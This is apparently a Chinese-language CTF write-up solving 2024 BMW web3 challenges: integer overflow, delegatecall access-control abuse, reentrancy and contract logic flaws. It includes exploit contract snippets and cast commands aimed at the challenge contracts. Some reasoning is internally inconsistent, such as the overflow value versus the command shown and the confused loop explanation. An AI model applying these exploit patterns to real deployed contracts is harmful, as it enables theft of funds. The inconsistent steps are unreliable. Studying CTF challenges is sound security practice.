2024 BMW web3 CTF部分writeups
字数 1555 2025-08-22 12:23:24
Web3 CTF 解题指南:2024 BMW CTF Writeups
目录
- 基础知识与工具
- easy-warmup 签到题
- easy-Over 16 整数溢出
- Medium-Access Control 访问控制漏洞
- Medium-Mamma Mia! 重入攻击
- Hard-Safe Deposit Box 交易取消漏洞
- Hard-BMW Bugbounty 整数溢出攻击
基础知识与工具
Solidity 基础概念:
view函数:只读取不修改状态payable函数:可以接收以太币delegatecall:在调用者上下文中执行目标合约代码mapping:键值对存储结构
常用工具:
cast:用于与以太坊节点交互的命令行工具- 常用命令:
cast call --rpc-url [RPC_URL] [CONTRACT_ADDRESS] "functionName()(returnType)" cast send --rpc-url [RPC_URL] --private-key [PRIVATE_KEY] [CONTRACT_ADDRESS] "functionName(paramType)"
easy-warmup 签到题
合约代码:
contract Warmup {
string public flag = "flag{FAKE_FLAG}";
function Callme() public view returns(string memory) {
return flag;
}
}
解题方法:
- 直接读取公共变量
flag - 或调用
Callme()函数
cast 命令示例:
cast call --rpc-url sepolia_rpc [CONTRACT_ADDRESS] "Callme()(string)"
关键点:
- 公共变量会自动生成 getter 函数
view函数不消耗 gas
easy-Over 16 整数溢出
合约代码关键部分:
mapping(address => uint16) public balances;
uint16 private originalBalance = 21436;
function add_16(uint _value) public {
balances[msg.sender] += uint16(_value);
}
function get16_Flag() public returns (string memory) {
require(balances[msg.sender] == 16, "XXXXXXXXXXXXXXXX");
return "flag{FAKE_FLAG}";
}
漏洞分析:
uint16最大值为 65535- 通过溢出使余额变为16:
65535 + 1 = 0,0 + 16 = 16
攻击步骤:
- 调用
add_16传入65536 - originalBalance + 16 - 调用
get16_Flag获取 flag
cast 命令:
cast send --rpc-url sepolia_rpc --private-key KEY [CONTRACT_ADDRESS] "add_16(uint)" "16"
cast call --rpc-url sepolia_rpc --private-key KEY [CONTRACT_ADDRESS] "get16_Flag()(string)"
Medium-Access Control 访问控制漏洞
flag获取条件:
function flag() public view returns (string memory) {
require(grantedUsers[msg.sender] == true);
require(securityLevel[msg.sender] == 5);
return "flag{FAKE_FLAG}";
}
漏洞点:
accessRequest函数接受任意 CA 合约地址setSecurityLevel使用delegatecall调用 CA 合约
攻击合约示例:
contract FakeCA {
function verify(address user) public payable returns (bool) {
return true;
}
function setLevel(address, address, uint256) public returns (uint256) {
return 5;
}
}
攻击流程:
- 部署 FakeCA 合约
- 调用
accessRequest传入 FakeCA 地址 - 调用
setSecurityLevel设置安全等级 - 调用
flag获取 flag
关键点:
delegatecall保持调用者上下文- 内存操作:
mload(add(result, 0x20))读取返回数据
Medium-Mamma Mia! 重入攻击
flag获取条件:
function captureFlag() public {
require(address(this).balance == 0);
require(flagCapturer == address(0));
flagCapturer = msg.sender;
}
function resetFlag() public payable {
require(flagCapturer == msg.sender);
require(msg.value >= 0.001 ether);
flagResetters[msg.sender] = true;
}
function getFlag() public view returns (string memory) {
require(flagResetters[msg.sender]);
return "flag{FAKE_FLAG}";
}
漏洞点:
withdraw函数存在重入漏洞:(bool sent, ) = msg.sender.call{value: bal}(""); balances[msg.sender] = 0; // 在转账后才更新余额
攻击流程:
- 存款少量 ETH (
deposit) - 在
receive回调中重入withdraw - 合约余额为0时调用
captureFlag - 调用
resetFlag设置 flagResetter - 调用
getFlag获取 flag
攻击合约示例:
receive() external payable {
if (m.getBalance() != 0) {
m.withdraw();
}
}
Hard-Safe Deposit Box 交易取消漏洞
flag获取条件:
function buy_flag() public returns (string memory) {
require(balances[msg.sender] > 100000);
require(msg.sender != owner);
balances[msg.sender] = 0;
return return_flag();
}
漏洞点:
make_account可重复调用增加余额cancel_transaction的fill_money修饰器会给 owner 充值
攻击步骤:
- 多次调用
make_account积累余额 - 调用
cancel_transaction触发 owner 余额充值 - 调用
buy_flag获取 flag
关键点:
- 初始余额仅1000,需要积累
fill_money修饰器在余额不足时自动充值
Hard-BMW Bugbounty 整数溢出攻击
flag获取条件:
function flag() external returns(string memory){
require(processContract.check_my_nft(msg.sender) > 10000);
processContract.reset_account();
return "Exploit-Success!!";
}
漏洞点:
function Buy_nft(uint256 _count) external payable returns(uint256) {
for(uint256 i; i < _count; i++) {
require(msg.value >= 1 ether);
_mint(msg.sender, balanceOf(msg.sender) + 1);
if (balance[msg.sender] > 10000) return balance[msg.sender];
}
}
攻击方法:
- 传入超大
_count值使循环立即终止 - 由于
balance[msg.sender]未检查上限,NFT数量会暴增
攻击合约:
function attack() public payable {
b.Buy_nft{value: 1 ether}(10001); // 传入足够大的数
flag = bmw.flag();
}
关键点:
- 循环条件
i < _count可被绕过 - 单次调用即可获得足够 NFT